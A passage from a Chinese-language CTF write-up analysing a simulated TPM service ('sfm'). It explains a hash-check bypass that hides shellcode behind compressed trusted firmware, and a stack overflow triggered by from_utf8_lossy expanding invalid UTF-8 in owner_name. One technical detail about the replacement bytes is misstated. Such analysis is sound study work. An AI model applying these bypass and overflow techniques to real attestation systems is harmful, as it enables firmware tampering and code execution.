function_">new_from_bytes</span>(bytes: &amp;[<span class="type">u8</span>]) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="keyword">Self</span>&gt;</span><br><span class="line">      <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="built_in">Sized</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">Self</span>::<span class="title function_ invoke__">read_from</span>(bytes)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这边可以看到，这个<code>trait</code>为所有从<code>AsBytes</code>和<code>FromBytes</code>派生的对象实现了接口<code>parse_with_trailer</code>和<code>new_from_bytes</code>这两个接口，前者要求传入的字符串长度对齐<code>T</code>的最小align值，后者要求传入的bytes大小正好为<code>T</code>的大小。所以这两个接口基本上为序列化操作。</p><p>回到刚刚函数部分，这里<code>NvStorage</code>可以通过传入的字符串进行序列化。Rust实现序列化的时候，是自动的将内存填充到结构体中，而<code>NvStorage</code>相关结构体如下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[repr(C)]</span></span><br><span class="line"><span class="meta">#[derive(Debug, AsBytes, FromBytes)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">NvStorageRaw</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> size: <span class="type">u16</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">SfmObject</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">OwnershipRecord</span>(OwnershipRecord),</span><br><span class="line">    <span class="title function_ invoke__">Key</span>(Aes256Key),</span><br><span class="line">    <span class="title function_ invoke__">NvStorage</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们能控制<code>NvStorageRaw</code>中的<code>size</code>大小，以及对应写入的大小。然而这里的<code>size</code>在代码中限制最大值仅为<code>1024</code>，大小非常有限，在<code>certify</code>过程中，相关代码如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">out_buf</span> = [<span class="number">0u8</span>; MAX_NV_STORAGE_CERT_SIZE]; <span class="comment">//0x500</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> <span class="variable">err</span> = <span class="keyword">unsafe</span> &#123;</span><br><span class="line">      <span class="title function_ invoke__">sfm_certify_nv_storage</span>(<span class="keyword">self</span>.ek,</span><br><span class="line">                             data.<span class="title function_ invoke__">as_ptr</span>(),</span><br><span class="line">                             data.<span class="title function_ invoke__">len</span>(),</span><br><span class="line">                             out_buf.<span class="title function_ invoke__">as_mut_ptr</span>())</span><br><span class="line">  &#125;;</span><br></pre></td></tr></table></figure><p>可以看到溢出长度不够，只能使用其他对象。不过这边的<code>NvStoargeRaw</code>可以由用户控制<strong>塞入任意的1024字节</strong>，这点可以稍微记一下。</p><p>其他对象中，<code>Key</code>的长度也是属于无法发生溢出的情况，于是只能考虑<code>OwnershipRecord</code></p><h5 id="ownershiprecord-栈溢出-part1">OwnershipRecord - 栈溢出 - Part1</h5><p><code>OwnershipRecord</code>这个对象首先无法在<code>create_object</code>中创建:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">object</span>: <span class="type">Option</span>&lt;SfmObject&gt; = <span class="keyword">match</span> cmd.<span class="title function_ invoke__">get_object_type</span>().<span class="title function_ invoke__">try_into</span>() &#123;</span><br><span class="line">    <span class="comment">// OwnershipRecord is not a creatable object type</span></span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(SfmObjectType::OwnershipRecord) =&gt; <span class="literal">None</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从代码中可以看出，即使我们选择这个对象，它也是不会创建的。然而在sfm初始化的时候，实际上就创建过一个<code>OwnershipRecord</code>对象:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">res</span> = object_store.<span class="title function_ invoke__">insert</span>(<span class="number">0</span>,</span><br><span class="line">    ObjectStoreItem &#123;</span><br><span class="line">        policy: pcr_policy.<span class="title function_ invoke__">clone</span>(),</span><br><span class="line">        item: SfmObject::<span class="title function_ invoke__">OwnershipRecord</span> (</span><br><span class="line">            ownership_record</span><br><span class="line">        )</span><br><span class="line">    &#125;</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>因此我们可以考虑<strong>直接修改这个对象</strong>，从而考虑是否构成危险。它可以在<code>modify</code>中被修改:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">modify_object</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cmd: WithTrailer&lt;SfmModifyObject&gt;) <span class="punctuation">-&gt;</span> SfmResult&lt;<span class="type">bool</span>&gt; &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">idx</span> = cmd.<span class="title function_ invoke__">get_object_index</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// look up object</span></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">entry</span> = <span class="keyword">self</span>.object_store.<span class="title function_ invoke__">get_mut</span>(&amp;idx.<span class="title function_ invoke__">into</span>())</span><br><span class="line">            .<span class="title function_ invoke__">ok_or</span>(SfmError::<span class="title function_ invoke__">InvalidObjectIndex</span>(idx))?;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">policy_header</span> = SfmAuthorizationPolicy::<span class="title function_ invoke__">parse_with_trailer</span>(cmd.<span class="title function_ invoke__">get_trailer</span>())</span><br><span class="line">            .<span class="title function_ invoke__">ok_or</span>(SfmError::InvalidAuthPolicy)?;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> (authorized, trailer) = <span class="keyword">match</span> entry.policy &#123;</span><br><span class="line">            <span class="comment">// just look at here</span></span><br><span class="line">            AuthorizationPolicy::<span class="title function_ invoke__">PcrPolicy</span>(desired_state) =&gt; &#123;</span><br><span class="line">                (<span class="keyword">self</span>.banks == desired_state, cmd.<span class="title function_ invoke__">get_trailer</span>())</span><br><span class="line">            &#125;,</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> !authorized &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(SfmError::FailedAuth);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// modify according to type and set fields</span></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">new_object</span> = <span class="keyword">match</span> entry.item &#123;</span><br><span class="line">            SfmObject::<span class="title function_ invoke__">OwnershipRecord</span>(_) =&gt; &#123;</span><br><span class="line">                SfmObject::<span class="title function_ invoke__">OwnershipRecord</span>(</span><br><span class="line">                  OwnershipRecordRaw::<span class="title function_ invoke__">new_from_bytes</span>(trailer)</span><br><span class="line">                  .<span class="title function_ invoke__">ok_or</span>(SfmError::<span class="title function_ invoke__">InvalidObjectValue</span>(SfmObjectType::OwnershipRecord))?</span><br><span class="line">                  .<span class="title function_ invoke__">into</span>()</span><br><span class="line">                )</span><br><span class="line">            &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">new_entry</span> = ObjectStoreItem &#123;</span><br><span class="line">            policy: entry.policy,</span><br><span class="line">            item: new_object</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        *entry = new_entry;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>然而修改这个对象，我们需要让我们的<code>bank</code>与<code>desired_state</code>相等， 而这一步相当于是认证通过。这段其实模拟了<code>TPM</code>检测固件hash的过程，在未认证通过的情况下，没有办法修改<code>OwnershipRecord</code>。。。。吗？</p><h4 id="认证绕过">认证绕过</h4><p>上文提到的漏洞点虽然存在，但是需要想办法进行认证绕过，然而从题目可知，这个绕过需要比对<code>desired_state</code>和<code>bank</code>相等，这个逻辑要怎么绕过呢？</p><p>程序提供了一个叫做<code>integrity_bank_update</code>的函数:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">integrity_bank_update</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cmd: WithTrailer&lt;SfmIntegrityBankUpdate&gt;) <span class="punctuation">-&gt;</span> SfmResult&lt;<span class="type">bool</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">bank_index</span> = cmd.<span class="title function_ invoke__">get_bank_index</span>() <span class="keyword">as</span> <span class="type">usize</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> bank_index &gt;= <span class="keyword">self</span>.banks.<span class="title function_ invoke__">len</span>() &#123;</span><br><span class="line">        <span class="built_in">eprintln!</span>(<span class="string">&quot;Invalid bank index specified&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(<span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">hasher</span> = Sha512::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    hasher.<span class="title function_ invoke__">update</span>(&amp;<span class="keyword">self</span>.banks[bank_index][..]);</span><br><span class="line">    hasher.<span class="title function_ invoke__">update</span>(cmd.<span class="title function_ invoke__">get_data</span>());</span><br><span class="line"></span><br><span class="line">    <span class="keyword">self</span>.banks[bank_index] = hasher.<span class="title function_ invoke__">finalize</span>().<span class="title function_ invoke__">into</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">self</span>.stream.<span class="title function_ invoke__">write_all</span>(&amp;(<span class="number">0_u32</span>.<span class="title function_ invoke__">to_le_bytes</span>()))?;</span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(<span class="literal">true</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个程序模拟了<code>TPM</code>更新hash的流程，由于开始的时候<code>bank</code>被初始化成了空值，所以在这边我们需要发送请求，将对应的<code>bank</code>更新。而只有更新为<code>trusted_firmware.raw</code>的hash值，的是偶，才能实现认证！</p><blockquote><p>这里我们来仔细分析一下程序设计：对于TPM而言，此时它需要对我们的程序hash进行检测，从而保证我们的固件没有被修改。然而可能是出于一些特定的原因（例如当binary过大的时候，整体hash可能耗时太长）程序并未将整个binary进行hash并且检测，而是每1024个字节进行一次hash，最后比较整个hash数组，确保是否发生改变</p></blockquote><blockquote><p>为了保证权限隔离，<code>TPM</code>的验证程序<code>sfm</code>肯定是无法直接接触到<code>launcher</code>送上来的<code>raw firmware</code>，所以两者之间使用了一个unix socket，模拟一种进程间隔离的情况下进行的通信检查，并且使用了看似合理的检查方式：上传的固件大小为<code>8192</code>，而<code>sfm</code>检查的时候，正好需要计算8段1024字节大的数据</p></blockquote><blockquote><p><code>trusted_firmware</code>是通过将自身的binary发送过去，从而实现的认证。从这个角度看，当我们企图修改<code>trusted_firmware</code>中的任意一个字节，都将无通过校验；同时，如果我们尝试创建自己的binary，我们就会无法通过验证，看似是卡死了作弊的可能。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">┌──────────────┐           ┌──────────┐</span><br><span class="line">│              │           │          │</span><br><span class="line">│     8192     │           │   SFM    │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              ├──────────►│          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">│              │           │          │</span><br><span class="line">└──────────────┘           └──────────┘</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然而上述的安全逻辑之下却隐藏了一种可能：假设我们实现将<code>trusted_firmare</code>进行压缩之后，塞入新的逻辑，其中当校验过程发生时，将对应的内容解压，这样我们就能在能够完成认证的同时，又引入自己的新的恶意逻辑！：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">+--------------+           +----------+</span><br><span class="line">|              |           |          |</span><br><span class="line">|     8192     |           |   SFM    |</span><br><span class="line">|              |           |          |</span><br><span class="line">|   compress   |           |          |</span><br><span class="line">|              |           |          |</span><br><span class="line">+--------------+----------&gt;|          |</span><br><span class="line">|              |           |          |</span><br><span class="line">|              |           |          |</span><br><span class="line">|   shellcode  |           |          |</span><br><span class="line">|              |           |          |</span><br><span class="line">|              |           |          |</span><br><span class="line">|              |           |          |</span><br><span class="line">+--------------+           +----------+</span><br></pre></td></tr></table></figure><p>于是在这种情况下，我们就能在完成认证的同时，实现自己的恶意代码攻击！</p><h5 id="ownershiprecord-栈溢出-part2">OwnershipRecord - 栈溢出 - Part2</h5><p>当我们实现了认证之后，便可尝试触发下列代码实现更改<code>OwnershipRecord</code>:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SfmObject::<span class="title function_ invoke__">OwnershipRecord</span>(_) =&gt; &#123;</span><br><span class="line">    SfmObject::<span class="title function_ invoke__">OwnershipRecord</span>(</span><br><span class="line">        OwnershipRecordRaw::<span class="title function_ invoke__">new_from_bytes</span>(trailer)</span><br><span class="line">        .<span class="title function_ invoke__">ok_or</span>(SfmError::<span class="title function_ invoke__">InvalidObjectValue</span>(SfmObjectType::OwnershipRecord))?</span><br><span class="line">        .<span class="title function_ invoke__">into</span>()</span><br><span class="line">    )</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里有一个细节：之前我们提到过,<code>SfmObject::OwnershipRecord</code>这个enum类型使用的是<code>OwnershipRecord</code>这个结构体，然而这边却是使用了<code>OwnershipRecordRaw</code>这个结构体的<code>new_from_bytes</code>进行的反序列化，这两者之间如何转换的呢？</p><p>于是这边检查相关结构体:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[repr(C)]</span></span><br><span class="line"><span class="meta">#[derive(Debug, AsBytes, FromBytes)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">OwnershipRecordRaw</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> country_code: [<span class="type">u8</span>; <span class="number">2</span>],</span><br><span class="line">    <span class="keyword">pub</span> _padding: [<span class="type">u8</span>; <span class="number">2</span>],</span><br><span class="line">    <span class="keyword">pub</span> owner_name: [<span class="type">u8</span>; <span class="number">64</span>],</span><br><span class="line">    <span class="keyword">pub</span> device_name: [<span class="type">u8</span>; <span class="number">16</span>],</span><br><span class="line">    <span class="keyword">pub</span> serial_number: [<span class="type">u8</span>; <span class="number">8</span>],</span><br><span class="line">    <span class="keyword">pub</span> creation_date: <span class="type">u32</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">From</span>&lt;OwnershipRecordRaw&gt; <span class="keyword">for</span> <span class="title class_">OwnershipRecord</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from</span>(item: OwnershipRecordRaw) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span> &#123;</span><br><span class="line">        <span class="keyword">Self</span> &#123;</span><br><span class="line">            country_code: <span class="type">String</span>::<span class="title function_ invoke__">from_utf8_lossy</span>(&amp;item.country_code[..]).<span class="title function_ invoke__">to_string</span>(),</span><br><span class="line">            owner_name: <span class="type">String</span>::<span class="title function_ invoke__">from_utf8_lossy</span>(&amp;item.owner_name[..]).<span class="title function_ invoke__">to_string</span>(),</span><br><span class="line">            device_name: item.device_name,</span><br><span class="line">            serial_number: item.serial_number,</span><br><span class="line">            creation_date: item.creation_date</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个地方有一个很有意思的地方：<code>OwnershipRecord</code>实现了一个接口，这个接口是针对<code>OwnershipRecordRaw</code>对象的<code>From</code>，这个接口的说明根据Rust官方网站说明</p><blockquote><p>The <code>From</code> trait allows for a type to define how to create itself from another type, hence providing a very simple mechanism for converting between several types.<br>The <code>Into</code> trait is simply the reciprocal of the From trait. That is, if you have implemented the From trait for your type, Into will call it when necessary.<br>The From and Into traits are inherently linked, and this is actually part of its implementation. It means if we write something like this: <code>impl From&lt;T&gt; for U</code>, then we can use let <code>u: U = U::from(T)</code> or <code>let u:U = T.into()</code>.</p></blockquote><p>在这个代码中，当一个<code>OwnershipRecordRaw</code>调用<code>into()</code>函数的时候，上述代码就会自动触发。由于<code>new_from_bytes</code>为精准的反序列化过程，也就是说会严格按照<code>OwnershipRecordRaw</code>结构体大小进行反序列化，因此这些字符串基本上无法出现溢出。</p><p>然而<strong>注意这里的<code>from_utf8_lossy</code><strong>函数，这个函数其实是一个处理<code>utf8</code>的函数，如果遇到普通的ascii，这个函数会把对应的字符串直接翻译，但是</strong>如果遇到了ascii以外的字符串，其行为会是怎么样的呢？</strong>，这里检查官方文档:</p><blockquote><p>Strings are made of bytes (u8), and a slice of bytes (&amp;[u8]) is made of bytes, so this function converts between the two. Not all byte slices are valid strings, however: strings are required to be valid UTF-8. During this conversion, from_utf8_lossy() will replace any invalid UTF-8 sequences with U+FFFD REPLACEMENT CHARACTER</p></blockquote><p>官方文档提到，当我们传入的字符串为非<code>UTF-8</code>的形式的时候，这里的字符串会被<strong>添加FF FD</strong>两个多余的字符（并且替换掉原来的字符为替代字符）！换句话说，虽然这里的<code>country_code</code>或者<code>owner_name</code>会因为反序列化的要求，长度局限为2和64，然而会因为添加了<code>ff fd</code>多余的字符，长度变为现在的3倍！</p><p>接下来看到对应的<code>certify</code>功能：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">certify_ownership_record</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>,</span><br><span class="line">                                owner_name: &amp;[<span class="type">u8</span>],</span><br><span class="line">                                device_name: &amp;[<span class="type">u8</span>],</span><br><span class="line">                                serial: <span class="type">u64</span>,</span><br><span class="line">                                timestamp: <span class="type">u32</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">out_buf</span> = [<span class="number">0u8</span>; MAX_OWNERSHIP_CERT_SIZE]; <span class="comment">// 380</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">err</span> = <span class="keyword">unsafe</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">sfm_certify_owner_record</span>(<span class="keyword">self</span>.ek,</span><br><span class="line">                                    owner_name.<span class="title function_ invoke__">as_ptr</span>(),</span><br><span class="line">                                    device_name.<span class="title function_ invoke__">as_ptr</span>(),</span><br><span class="line">                                    serial,</span><br><span class="line">                                    timestamp,</span><br><span class="line">                                    out_buf.<span class="title function_ invoke__">as_mut_ptr</span>())</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> err != <span class="number">0</span> &#123;</span><br><span class="line">        <span class="literal">None</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_ invoke__">Some</span>(out_buf.<span class="title function_ invoke__">to_vec</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个栈上的变量有380字节的空余，我们这个结构体<code>OwnershipRecordRaw</code>只有96字节，不足以构成溢出。转换后的<code>OwnershipRecord</code>大小大差不差（多了一点string的结构体），不过我们需要进一步看一下内部逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">  owner_cert = <span class="built_in">create_owner_cert</span>(owner_name, device_name, serial, &amp;cnt);</span><br><span class="line">  <span class="keyword">if</span> ( owner_cert )</span><br><span class="line">  &#123;</span><br><span class="line">    v9 = <span class="built_in">EVP_MD_CTX_new</span>();</span><br><span class="line">    <span class="keyword">if</span> ( v9 )</span><br><span class="line">    &#123;</span><br><span class="line">      v10 = <span class="built_in">EVP_sha256</span>();</span><br><span class="line">      v11 = <span class="built_in">EVP_DigestSignInit</span>(v9, <span class="number">0LL</span>, v10, <span class="number">0LL</span>, a1);</span><br><span class="line">      <span class="keyword">if</span> ( v11 == <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">EVP_DigestSignUpdate</span>(v9, owner_cert, cnt) == <span class="number">1</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          v11 = <span class="built_in">EVP_DigestSignFinal</span>(v9, <span class="number">0LL</span>, (__int64)n);</span><br><span class="line">          <span class="keyword">if</span> ( v11 == <span class="number">1</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            v14 = <span class="built_in">CRYPTO_malloc</span>(n[<span class="number">0</span>], <span class="string">&quot;vendor/sfm/src/main.c&quot;</span>, <span class="number">292LL</span>);</span><br><span class="line">            v12 = (<span class="type">const</span> <span class="type">void</span> *)v14;</span><br><span class="line">            <span class="keyword">if</span> ( v14 )</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">/// skip code...</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span>* <span class="title">create_owner_cert</span><span class="params">(<span class="type">char</span> *owner_name, <span class="type">char</span> *device_name, <span class="type">char</span> *serial, _QWORD *a4)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  result = <span class="built_in">malloc</span>(<span class="number">0x10</span>uLL);</span><br><span class="line">  ptr[<span class="number">0</span>] = result;</span><br><span class="line">  <span class="keyword">if</span> ( result )</span><br><span class="line">  &#123;</span><br><span class="line">    *a4 = <span class="number">16LL</span>;</span><br><span class="line">    *result = serial;</span><br><span class="line">    *((_DWORD *)ptr[<span class="number">0</span>] + <span class="number">2</span>) = <span class="built_in">time</span>(<span class="number">0LL</span>);</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">append_kv_to_cert</span>(ptr, a4, <span class="string">&quot;O=&quot;</span>, owner_name)</span><br><span class="line">      || (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">append_separator_to_cert</span>(ptr, a4, <span class="string">&quot;,&quot;</span>)</span><br><span class="line">      || (appended = <span class="built_in">append_kv_to_cert</span>(ptr, a4, <span class="string">&quot;CN=&quot;</span>, device_name), result = ptr[<span class="number">0</span>], appended) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">free</span>(ptr[<span class="number">0</span>]);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">__int64 __fastcall <span class="title">append_kv_to_cert</span><span class="params">(<span class="type">void</span> **a1, _QWORD *a2, <span class="type">const</span> <span class="type">char</span> *label, <span class="type">const</span> <span class="type">char</span> *in_buf2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  v6 = <span class="built_in">strlen</span>(label);</span><br><span class="line">  total_len = <span class="built_in">strlen</span>(in_buf2) + v6;</span><br><span class="line">  v8 = (<span class="type">char</span> *)<span class="built_in">realloc</span>(*a1, total_len + *a2 + <span class="number">1</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !v8 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1LL</span>;</span><br><span class="line">  v9 = v8;</span><br><span class="line">  <span class="built_in">strcpy</span>(&amp;v8[*a2], label);</span><br><span class="line">  lable_len = <span class="built_in">strlen</span>(label);</span><br><span class="line">  <span class="built_in">strcpy</span>(&amp;v9[*a2 + lable_len], in_buf2);</span><br><span class="line">  *a1 = v9;</span><br><span class="line">  result = <span class="number">0LL</span>;</span><br><span class="line">  *a2 += total_len;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span 